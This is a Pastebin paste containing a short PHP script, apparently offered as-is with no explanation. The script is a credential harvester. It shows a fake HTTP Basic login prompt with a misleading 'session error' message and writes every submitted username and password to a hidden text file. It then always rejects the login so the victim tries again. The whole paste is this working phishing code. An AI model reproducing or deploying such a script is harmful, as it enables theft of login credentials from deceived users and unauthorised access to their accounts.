Guest User

Untitled

a guest
Oct 29th, 2017
143
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.48 KB | None | 0 0
  1. <?php
  2.  
  3.     if(isset($_SERVER['PHP_AUTH_USER'])){
  4.  
  5.         $Handle = @fopen('SecretName.txt', 'a');
  6.  
  7.      
  8.  
  9.         @fwrite($Handle, "Username = {$_SERVER['PHP_AUTH_USER']}\r\n");
  10.  
  11.         @fwrite($Handle, "Password = {$_SERVER['PHP_AUTH_PW']}\r\n\r\n");
  12.  
  13.      
  14.  
  15.         @fclose($Handle);
  16.  
  17.     }
  18.  
  19.     header('WWW-Authenticate: Basic realm="A session error has occured please verify your Username and Password."');
  20.  
  21.     header('HTTP/1.0 401 Unauthorized');
  22.  
  23.     exit;
  24.  
  25.  ?>
Add Comment
Please, Sign In to add comment